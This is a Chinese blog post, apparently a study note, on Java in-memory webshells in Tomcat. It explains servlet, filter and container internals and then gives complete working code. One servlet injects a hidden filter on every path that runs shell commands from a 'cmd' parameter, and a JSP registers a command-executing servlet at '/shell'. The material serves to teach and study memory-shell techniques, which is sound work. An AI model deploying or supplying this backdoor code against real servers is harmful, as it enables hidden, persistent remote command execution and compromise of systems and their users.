java内存马学习与理解

1. 前置知识

1.1 java web 核心组件

首先我们得知道,java网站都一定会有一个web容器。listener、filter、servlet都是在web.xml中配置的。

参考:web.xml配置详解

listener

本质是一个java类。

作用是监听Application、Session和Request三大对象创建或者删除,然后根据监听的结果来执行提前编写的代码。

可以简单的理解成当发生某个行为的时候,触发某段代码的执行。

filter

本质是一个java类。是由容器进行调度和执行的。

接收来自客户端的web请求并对其进行必要的修改和内容判断。
可以简单的理解成对接收到的请求进行格式化,修改成后面servlet所需要的数据格式。

假设客户端发过来的数据是“姓名=张三”。某个filter的作用可能就是将“姓名=张三“改成”姓名=张三ZHANGSAN“,然后发送给处理数据的servlet。

如果没有filter存在,那么请求将会直接发给servlet。可以个servlet在web.xml中配置多个filter。当 Servlet 容器开始调用某个 Servlet 程序时,如果发现已经注册了一个 Filter 程序来对该 Servlet 进行拦截,那么容器不再直接调用 Servlet 的 service 方法,而是调用 Filter 的 doFilter 方法,再由 doFilter 方法决定是否去激活 service 方法。

dofilter方法中还有一个chain.dofilter方法,这个方法的作用是将请求转发给filterchain中的下一个filter,如果没有下一个filter则直接转发给servlet,并触发servlet的service函数。

filter的生命周期

与servlet一样,Filter的创建和销毁也由web容器负责。 web 应用程序启动时,web 服务器将创建Filter 的实例对象,并调用其init方法,读取web.xml配置,完成对象的初始化功能,从而为后续的用户请求作好拦截的准备工作(filter对象只会创建一次,init方法也只会执行一次)。开发人员通过init方法的参数,可获得代表当前filter配置信息的FilterConfig对象。

Filter对象创建后会驻留在内存,当web应用移除或服务器停止时才销毁。销毁函数会在Web容器卸载 Filter 对象之前被调用。该方法在Filter的生命周期中仅执行一次。在这个方法中,可以释放过滤器使用的资源。

filter链

当多个filter同时存在的时候,组成了filter链。web服务器根据Filter在web.xml文件中的注册顺序,决定先调用哪个Filter。当第一个Filter的doFilter方法被调用时,web服务器会创建一个代表Filter链的FilterChain,然后调用filterchain中其他filter的filter.doFilter方法。

servlet

本质是一个java类。是由容器进行调度和执行的。

是处理数据的模块。里面有一个函数services,这个函数是servlet的核心代码,实现servlet的核心功能。

所有servlet在第一次被访问的时候会创建,直到服务器关闭的时候才会被销毁。

2. tomcat

tomcat本质是web服务器和servlet容器的集合体,与客户端交互的流程大致如下:

在这里插入图片描述
在这里插入图片描述

tomcat容器要完成的任务很简单,就是要能够提供一个接口让其它程序能够访问到 Service 集合,同时要维护所包含的所有 Service 的生命周期,包括如何初始化、如何结束服务、如何找到别人要访问它的 Service。还有一些次要的任务,如记录Service运行日志,维护Session等等。

2.1 核心组件

在这里插入图片描述
在这里插入图片描述

1. connector组件

在这里插入图片描述

tomcat通过connecter组件实现与客户端的网络连接,通过container组件实现数据与servlet的交互。一个tomcat中可以有很多个service,其中默认的service叫做catalina。一个service可以有多个connector,但只能有一个container。每个service支持很多协议,例如http1或http2,不同的协议对应不同的connector。客户端通过不同的协议请求服务,其实就是将请求发送给对应协议的connector。

2. container组件

在这里插入图片描述

  • Engine(引擎)
    负责处理来自相关联的service的所有请求,处理后,将结果返回给service,而connector是作为service与engine的中间媒介出现的。Engine的细节会在$CATALINA_HOME/conf/server.xml中进行配置。
    一个engine下可以配置一个默认主机,每个虚拟主机都有一个域名。当engine获得一个请求时,它把该请求匹配到虚拟主机(host)上,然后把请求交给该主机来处理。
    Engine有一个默认主机,当请求无法匹配到任何一个虚拟主机时,将交给默认host来处理。Engine以线程的方式启动Host。

  • Host
    代表一个虚拟主机,每个虚拟主机和某个网络域名(Domain Name)相匹配,host的细节会在$CATALINA_HOME/conf/server.xml中进行配置。
    每个虚拟主机下都可以部署一个或多个web应用,每个web应用对应于一个context,有一个context path。
    当Host获得一个请求时,将把该请求匹配到某个Context上,然后把该请求交给该Context来处理匹配的方法是“最长匹配”,所以一个path==””的Context将成为该Host的默认Context所有无法和其它Context的路径名匹配的请求都将最终和该默认Context匹配。

  • Context
    一个Context对应于一个Web应用,Context的细节会在$CATALINA_HOME/conf/server.xml中进行配置,当tomcat版本大于5.5时,就会在单独的$CATALINA_HOME/conf/context.xml中进行配置。一个Web应用由一个或者多个Servlet组成Context在创建的时候将根据配置文件$CATALINA_HOME/conf/web.xml$ WEBAPP_HOME/WEB-INF/web.xml载入Servlet类。当Context获得请求时,将在自己的映射表(mapping table)中寻找相匹配的Servlet类,如果找到,则执行该类,获得请求的回应,并返回。

  • Wrapper
    Wrapper 代表一个 Servlet,它负责管理一个 Servlet,包括的 Servlet 的装载、初始化、执行以及资源回收。Wrapper 是最底层的容器,它没有子容器了,所以调用它的 addChild 将会报错。
    Wrapper 的实现类是 StandardWrapper,StandardWrapper 还实现了拥有一个 Servlet 初始化信息的 ServletConfig,由此看出 StandardWrapper 将直接和 Servlet 的各种信息打交道。

在这里插入图片描述

StandardContext 实现了类加载器、session管理、wrapper管理等模块,在启动时顺序启动这些模块。在请求进入时,由这些模块互相合作处理请求。

3. java反射

通过java反射机制可以修改已经实例化的对象的参数。

import sun.font.TrueTypeFont;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class Apple {

    private int price=2;
    private int test=11;

    public int getPrice() {
        return price;
    }

    public void setPrice(int price) {
        this.price = price;
    }

    public static void main(String[] args) throws Exception{
        //正常的调用
        System.out.println("创建apple1对象");
        Apple apple1 = new Apple();
        System.out.println("利用内置函数将私有变量private的值设置为5");
        apple1.setPrice(5);
        System.out.println("通过apple1对象的内置函数读取price的值为:" + apple1.getPrice());


        Field b = apple1.getClass().getDeclaredField("price");
        Field c = apple1.getClass().getDeclaredField("test");
        System.out.println("通过反射机制修改apple1对象的私有变量price的值为3");
        b.set(apple1,3);
        System.out.println("修改后直接读取price的值为"+b.get(apple1));
        System.out.println("通过apple1对象的内置函数读取price的值为:" + apple1.getPrice());
        System.out.println("直接读取私有变量test的值为"+c.get(apple1));

        System.out.println("综上,通过反射机制修改了已经实例化的对象的值。");



    }
}

在这里插入图片描述

4. 其他知识

  1. web应用启动的时候,会产生ServletContext对象,每个web应用都会有自己的ServletContext对象,123.123.123.123/user是一个web应用,123.123.123.123/news也是一个web对象。

  2. 使用request.getServletContext()函数会得ServletContext,它本质是ApplicationContextFacade类的对象,任何人都可以使用request.getServletContext()获取servletcontext。
    在这里插入图片描述

  3. ServletContext其实是一个接口,这个接口的实现是ApplicationContext类。StandardContext对象其实也就是ApplicationContext对象。

  4. ApplicationContext中有一个私有变量叫做StandardContext,StandardContext类的对象可以动态创建servlet和servlet的映射,也可以通过修改参数来添加filter到filterchain。

  5. 如果能通过反射调用StandardContext对象中的函数,那么就能制造filter与servlet类型的内存吗。

2. 实现tomcat内存马

2.1 filter型

将恶意数据例如filterdef、filtermap等添加到standardcontext中,然后生成一个filterconfig,并添加到filterconfigs中,恶意filter就会被自动加载到filterchain中并与我们指定的url绑定,形成filter形内存马,此时我们访问那个url就会触发内存马。恶意代码在我们写的filter中的dofilter函数中.


逻辑:

  1. 创建恶意的filter。

  2. 创建FilterDef,里面存着filter的基本信息,例如类名。

  3. 创建FilterMap,里面是filter与url的绑定信息,换句话说就是访问哪个url时触发这个filter。可以理解成这一步是在更改web.xml文件。

  4. 通过StandardContext与FilterDef创建新的FilterConfig并添加到filterConfigs中并与之前声明的filter进行配对。

  5. 访问刚刚绑定的url即可添加filter内存马。

一句话总结就是想办法在内存中写入一个恶意filter并与某个url绑定。
在这里插入图片描述
request进入container后会与engine、host、context、wrapper交互,其实是与他们中的的pipeline-valve进行交互。等engine、host、context、wrapper中每一个valve都执行完的时候,也就是当wrapper最后一个valve,StandarWrapperValve执行结束的时候,会生成一个filterchain。接着filterchain中的filter会依次执行自己的dofilter函数。如果我们可以在filterchain中加入一个恶意的filter并绑定某个url,此时我们访问那个url即可实现命令执行。

filterchain是怎么来的

filterChain是ApplicationFilterFactory.createFilterChain函数的返回值。
在这里插入图片描述

如何控制filterchain的内容

进入ApplicationFilterFactory.createFilterChain函数我们发现所有的filter被放在了一个名为filterMaps的数组中,StandardContext.findFilterMaps()函数会返回这个数组,这个数组filtermaps中存储的是url跟filter的映射关系

在这里插入图片描述
在这里插入图片描述

并通过matchDispatcher()、matchFilterURL()方法进行匹配,匹配成功后,还需判断StandardContext.filterConfigs中,是否存在对应filter的实例。当实例不为空时通过filterchain.addfilter(Filterconfig)函数来将FilterConfig对应的filter添加到filterchain中。此时filter内存马已经添加完成。

也就是意味着standardcontext中的filtermap中有我们指定的filter,且filterconfig中有我们指定的filter,那么这个filter就会被正常加载到内存。

接下来的任务就是修改FilterMap与FilterConfig的值。


filterMaps是StandardContext对象中的数据我们可控。filterconfig是StandardContext中的数据我们可控,filterconfig中我们需要添加filterdef它也是我们可控的,StandardContext是我们可以操控的。综上filter动态添加过程是我们可操控的。

三者数据结构如下:

private HashMap<String, ApplicationFilterConfig> filterConfigs = new HashMap();

private HashMap<String, FilterDef> filterDefs = new HashMap();

private final StandardContext.ContextFilterMaps filterMaps = new StandardContext.ContextFilterMaps();
  1. filterConfigs成员变量是一个HashMap对象,里面存储了filter名称与对应的ApplicationFilterConfig对象的键值对,在ApplicationFilterConfig对象中则存储了Filter实例以及该实例在web.xml中的注册信息。filter名=对应的filterconfig

  2. filterDefs
    成员变量成员变量是一个HashMap对象,存储了filter名称与相应FilterDef的对象的键值对,而FilterDef对象则存储了Filter包括名称、描述、类名、Filter实例在内等与filter自身相关的数据。filter名=对应的filterdef

  3. filterMaps中的FilterMap则记录了不同filter与UrlPattern的映射关系。filter名=绑定的url

具体修改filterchain值的方法

代码如下

import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;

import java.util.Map;
import java.util.Scanner;

@WebServlet("/demoServlet")
public class demoServlet extends HttpServlet {
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

        Field Configs = null;
        Map filterConfigs;
        try {
            //这里是反射获取ApplicationContext的context,也就是standardContext
            ServletContext servletContext = request.getSession().getServletContext();

            Field appctx = servletContext.getClass().getDeclaredField("context");
            appctx.setAccessible(true); //忽略权限控制检查,获取很高的代码执行权限
            ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

            Field stdctx = applicationContext.getClass().getDeclaredField("context");
            stdctx.setAccessible(true);
            StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);



            String FilterName = "cmd_Filter";
            Configs = standardContext.getClass().getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            filterConfigs = (Map) Configs.get(standardContext);

            if (filterConfigs.get(FilterName) == null){
                Filter filter = new Filter() {

                    @Override
                    public void init(FilterConfig filterConfig) throws ServletException {

                    }

                    @Override
                    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                        HttpServletRequest req = (HttpServletRequest) servletRequest;
                        if (req.getParameter("cmd") != null){

                            InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
//
                            Scanner s = new Scanner(in).useDelimiter("\\A");
                            String output = s.hasNext() ? s.next() : "";
                            servletResponse.getWriter().write(output);

                            return;
                        }
                        filterChain.doFilter(servletRequest,servletResponse);
                    }

                    @Override
                    public void destroy() {

                    }
                };
                
                //反射获取FilterDef,设置filter名等参数后,调用addFilterDef将FilterDef添加
                Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
                Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
                FilterDef o = (FilterDef)declaredConstructors.newInstance();
                o.setFilter(filter); //设置filter
                o.setFilterName(FilterName); //设置filter的名字
                o.setFilterClass(filter.getClass().getName()); //设置filter的类
                standardContext.addFilterDef(o); //在standardContext中加一个FilterDef
                
                //反射获取FilterMap并且设置拦截路径,并调用addFilterMapBefore将FilterMap添加进去
                Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
                Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
                org.apache.tomcat.util.descriptor.web.FilterMap o1 = (FilterMap)declaredConstructor.newInstance(); //生成filtermap的实例

                o1.addURLPattern("/*"); // 设置匹配的url路径,这里是任意路径
                o1.setFilterName(FilterName); //设置路径匹配的filter
                o1.setDispatcher(DispatcherType.REQUEST.name());
                standardContext.addFilterMapBefore(o1); //添加一个filtermap到standardContext中
                

                //反射获取ApplicationFilterConfig,构造方法将 FilterDef传入后获取filterConfig后,将设置好的filterConfig添加进去
                Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
                Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
                declaredConstructor1.setAccessible(true);
                ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);//生成ApplicationFilterConfig类型的值,等待被添加到filterconfig列表中,filterconfig中的内容都是ApplicationFilterConfig格式的
                filterConfigs.put(FilterName,filterConfig); //将新的filterconfig添加到filterconfig列表里面。
                response.getWriter().write("Success");


            }
        } catch (Exception e) {
            e.printStackTrace();
        }




    }

    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        this.doPost(request, response);
    }
}

在这里插入图片描述

在这里插入图片描述

2.2 servlet型

sevlet内存马就是通过反射机制调用调用StandardContext类的方法动态加载一个恶意类到内存中并调用其addServletMapping()函数将恶意servlet与我们指定的url绑定。此时我们访问那个恶意url即可完成攻击.

逻辑:

  1. 使用request.getServletContext()函数会得ServletContext,它本质是ApplicationContextFacade类的实例,任何用户都可以使用request.getServletContext()函数获取到ServletContext。

  2. ApplicationContextFacade类中封装有ApplicationContext类的私有对象,这个私有对象名为context。

  3. ApplicationContext中有StandardContext类的私有对象,名为context。

  4. StandardContext类的对象可以动态创建servlet和servlet的映射。

  5. 综上,任意用户都可以通过反射机制调用StandardContext类的对象来动态创建servlet和servlet的映射。

代码逻辑

获取StandardContext 以及创建Servlet包装类。

在这里插入图片描述
添加Servlet到StandardContext并初始化Servlet。

在这里插入图片描述

<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.PrintWriter" %>

<%
    // 创建恶意Servlet
    Servlet servlet = new Servlet() {
        @Override
        public void init(ServletConfig servletConfig) throws ServletException {

        }
        @Override
        public ServletConfig getServletConfig() {
            return null;
        }
        @Override
        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
            String cmd = servletRequest.getParameter("cmd");
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\a");
            String output = s.hasNext() ? s.next() : "";
            PrintWriter out = servletResponse.getWriter();
            out.println(output);
            out.flush();
            out.close();
        }
        @Override
        public String getServletInfo() {
            return null;
        }
        @Override
        public void destroy() {

        }
    };

    %>
<%
    // 获取StandardContext
    org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();

    // 用Wrapper对其进行封装
    org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper();
    newWrapper.setName("jweny");
    newWrapper.setLoadOnStartup(1);
    newWrapper.setServlet(servlet);
    newWrapper.setServletClass(servlet.getClass().getName());

    // 添加封装后的恶意Wrapper到StandardContext的children当中
    standardCtx.addChild(newWrapper);

    // 添加ServletMapping将访问的URL和Servlet进行绑定
    standardCtx.addServletMapping("/shell","jweny");
%>

3. 参考文章

一文看懂内存马
浅谈哥斯拉内存马
Java Filter型内存马的学习与实践
Java安全之基于Tomcat实现内存马
tomcat host 及context配置
详解tomcat配置文件server.xml
web.xml配置详解
StandardContext获取

  • 5
    点赞
  • 31
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Shanfenglan7

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值